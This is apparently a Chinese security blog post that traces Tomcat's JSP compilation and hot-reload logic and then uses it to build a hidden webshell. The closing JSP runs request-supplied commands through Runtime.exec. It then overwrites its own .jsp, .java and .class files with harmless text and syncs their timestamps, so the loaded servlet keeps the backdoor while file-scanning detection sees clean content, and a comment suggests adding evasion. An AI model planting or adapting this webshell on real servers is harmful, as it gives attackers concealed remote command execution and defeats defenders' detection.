基于 JSP 解析的隐藏 Webshell

警告
本文最后更新于 2023-08-29,文中内容可能已过时。

基于 JSP 解析的隐藏 Webshell

主机安全防护与Java Web后门检测的“爱恨情仇” (qq.com)

Tomcat源码解析:Jsp文件的编译

按照我之前的理解,JSP 也是 Java,无非就是

.jsp --> .java --> .class --> JVM

总体来说是没有问题的,但是还是需要分析整个的 JSP 解析流程。因为我们想探索,Tomcat 是怎么做到热加载的,也就是我们实时的改变 JSP 文件,对应显示的页面也被实时的修改了,是否是一直在监控着 JSP 是否改变,除此之外,还要关注整个 JSP 的解析流程。

首先需要注意的是,我们先不要打下断点,因为 Tomcat 启动的时候肯定会经过 JspServlet 类,所以等 Tomcat 启动完毕之后,我们再打下断点,在 service 方法内的第一行就好了,这时候只需要刷新某一个页面,就可以停在断点处了。

因为无论JSP是否修改,Tomcat肯定会监控着JSP是否有改变,然后决定是否重新生成.java文件。这里就以 index.jsp 为例子。

image-20221202174025863

刷新不动就没错了

来到断点处

image-20221202173807498

jspFile 是 null,继续往下看

image-20221202174540745

继续

image-20221202174752087

这里不知道 preCompile 方法是做什么的,看一下注释

Look for a precompilation request as described in Section 8.4.2 of the JSP 1.2 Specification. 查找 JSP 1.2 规范第 8.4.2 节中描述的预编译请求。

看了还是不太理解,步入看一下吧

image-20221202175329435

这里是 request.getQueryString() 就返回的 false 了,这里先不管了 mark 一下,后面看一下 url 会不会影响这个参数。

继续回到主线任务,步入serviceJspFile(request, response, jspUri, precompile);

调用了一个私有方法 serviceJspFile 方法,这里没有备注说明此方法。

此方法主要是调用wrapper.service

image-20221205095126989

接着步入到service:343, JspServletWrapper (org.apache.jasper.servlet)

看到注释可以把代码功能分为以下几个结构:

(1) Compile // 编译或者重新编译
(2) (Re)load servlet class file // 默认不执行这段
(3) Handle limitation of number of loaded Jsps // 处理加载的 Jsps 数量限制,也不是这次的重点,不需要看
(4) Service request // 服务请求,该service方法的核心代码

image-20221205100245992

这里就找到我们的想要看的地方了,我们需要看的地方是 Tomcat 重新编译加载 JSP 的地方。

if (options.getDevelopment() || firstTime ) {// 判断是否是开发模式 或者 第一次,firstTime初始值是true
    synchronized (this) {
        firstTime = false;

        // The following sets reload to true, if necessary
        ctxt.compile();// 开始编译
    }
} else {// 假如都不是开发模式或者第一次,就什么都不做
    if (compileException != null) {
        // Throw cached compilation exception
        throw compileException;
    }
}

关于这个getDevelopment

Main development flag, which enables detailed error reports with sources, as well automatic recompilation of JSPs and tag files. This setting should usually be false when running in production. 主要开发标志,它启用带有源代码的详细错误报告,以及 JSP 和标记文件的自动重新编译。 在生产中运行时,此设置通常应为 false。

在官方文档的Production Configuration中也可以看到:

development - To disable on access checks for JSP pages compilation set this to false. development - 要禁用对 JSP 页面编译的访问检查,请将其设置为 false。

也就是说options.getDevelopment()默认是ture。无论如何都会执行ctxt.compile()

接着步入ctxt.compile();,到compile:587, JspCompilationContext (org.apache.jasper)

public void compile() throws JasperException, FileNotFoundException {
    createCompiler();
    if (jspCompiler.isOutDated()) {// 判断是否过期(有效?)
        if (isRemoved()) {
            throw new FileNotFoundException(jspUri);
        }
        try {
            jspCompiler.removeGeneratedFiles();// 删除已经生成的class文件和java文件(没有就不操作)
            jspLoader = null;
            jspCompiler.compile();// 生成新的java和编译class文件,并且同步jsp,java,class三个文件的时间戳
            jsw.setReload(true);
            jsw.setCompilationException(null);
        } catch (JasperException ex) {
            ... // 一些异常处理
        }
    }
}

先不看jspCompiler.isOutDated()的返回逻辑,判断分支里面的具体内容已经写在注释中了。

现在来看看我们要周末进入判断,步入jspCompiler.isOutDated(),到isOutDated:442, Compiler (org.apache.jasper.compiler)

isOutDated方法

通过检查 JSP 页面的时间戳与相应的 .class 或 .java 文件的时间戳来确定是否需要编译。 如果页面有依赖项,检查也会扩展到它的依赖项,依此类推。 该方法可以被 Compiler 的子类覆盖。

具体的分析都在下面的注释里面了,总的来说根据三点来看是否重新编译

  • jsp文件是否离上次检查超过4秒
  • jsp文件的内容是否发生改变(class文件的时间戳是否和jsp文件的时间戳一致)
  • jsp文件的依赖是否有改变
public boolean isOutDated(boolean checkClass) {// 返回true代表过时,过时即要重新编译

    if (jsw != null
            && (ctxt.getOptions().getModificationTestInterval() > 0)) {
        // JSP文件上一次修改测试的时间 超过4秒就返回 过时
        if (jsw.getLastModificationTest()
                + (ctxt.getOptions().getModificationTestInterval() * 1000) > System
                .currentTimeMillis()) {
            return false;
        }
        jsw.setLastModificationTest(System.currentTimeMillis());// 检查完毕更新时间戳
    }

    File targetFile;// checkClass默认true,targetFile默认就是 xx_jsp.class
    if (checkClass) {
        targetFile = new File(ctxt.getClassFileName());
    } else {
        targetFile = new File(ctxt.getServletJavaFileName());
    }
    if (!targetFile.exists()) {// 假如class文件不存在,重新编译
        return true;
    }
    long targetLastModified = targetFile.lastModified();// clss文件的上一次修改时间
    if (checkClass && jsw != null) {
        jsw.setServletClassLastModifiedTime(targetLastModified);// 时间戳赋值给Servlet class文件(Servlet class不就是xx_jsp.class吗?)
    }

    Long jspRealLastModified = ctxt.getLastModified(ctxt.getJspFile());// jsp文件的上一次修改时间
    if (jspRealLastModified.longValue() < 0) {
        // Something went wrong - assume modification
        return true;
    }

    if (targetLastModified != jspRealLastModified.longValue()) {// 假如jsp和class的时间戳不一样,说明jsp发生了改变,那么返回true重新编译
        if (log.isDebugEnabled()) {
            log.debug("Compiler: outdated: " + targetFile + " "
                    + targetLastModified);
        }
        return true;
    }

    // determine if source dependent files (e.g. includes using include
    // directives) have been changed.
    // 这下面是和jsp依赖有关,应该是看jsp的(下面还没有详细分析)
    if (jsw == null) {
        return false;
    }

    Map<String,Long> depends = jsw.getDependants();
    if (depends == null) {
        return false;
    }

    Iterator<Entry<String,Long>> it = depends.entrySet().iterator();
    while (it.hasNext()) {
        Entry<String,Long> include = it.next();
        try {
            String key = include.getKey();
            URL includeUrl;
            long includeLastModified = 0;
            if (key.startsWith("jar:jar:")) {
                // Assume we constructed this correctly
                int entryStart = key.lastIndexOf("!/");
                String entry = key.substring(entryStart + 2);
                try (Jar jar = JarFactory.newInstance(new URL(key.substring(4, entryStart)))) {
                    includeLastModified = jar.getLastModified(entry);
                }
            } else {
                if (key.startsWith("jar:") || key.startsWith("file:")) {
                    includeUrl = new URL(key);
                } else {
                    includeUrl = ctxt.getResource(include.getKey());
                }
                if (includeUrl == null) {
                    return true;
                }
                URLConnection iuc = includeUrl.openConnection();
                if (iuc instanceof JarURLConnection) {
                    includeLastModified =
                        ((JarURLConnection) iuc).getJarEntry().getTime();
                } else {
                    includeLastModified = iuc.getLastModified();
                }
                iuc.getInputStream().close();
            }

            if (includeLastModified != include.getValue().longValue()) {
                return true;
            }
        } catch (Exception e) {
            if (log.isDebugEnabled())
                log.debug("Problem accessing resource. Treat as outdated.",
                        e);
            return true;
        }
    }
    return false;
}

现在可以知道最终是取出一个jsp对应的Servlet对象,用Servlet.service(request, response)处理请求和返回的。

所以我们的Webshell的思路是如下:

image-20221205163017466

假如查杀引擎只查杀 jsp 文件的内容的话,我们的Webshell 将会隐藏无踪。

<%@ page import="java.io.*" %>
<%
    //evil code,这里应该做静态和流量免杀
    if ("2".equals(request.getParameter("flag"))){ 
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
%>

<%!
    public void changeFileAndSetModifyTime(File file,long modifyTime) throws IOException{        
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(file));
        bufferedWriter.write("safecode");// 修改的内容,重新写一个“正常的”jsp
        bufferedWriter.flush();
        bufferedWriter.close();
        file.setLastModified(modifyTime);
    }

%>

<%
    if ("1".equals(request.getParameter("flag"))) {
        File file = new File("../webapps/ROOT/path.jsp");// 当前jsp文件的路径
        File file1 = new File("../work/Catalina/localhost/_/org/apache/jsp/path_jsp.class");// 当前jsp对应的class文件的路径
        File file2 = new File("../work/Catalina/localhost/_/org/apache/jsp/path_jsp.java");// 当前jsp对应的java文件的路径
        long modifyTime = file.lastModified();// 三个文件同步时间戳
        changeFileAndSetModifyTime(file, modifyTime);
        changeFileAndSetModifyTime(file1, modifyTime);
        changeFileAndSetModifyTime(file2, modifyTime);
    }
%>
提示
在 4s 内完成两个操作即可完成命令执行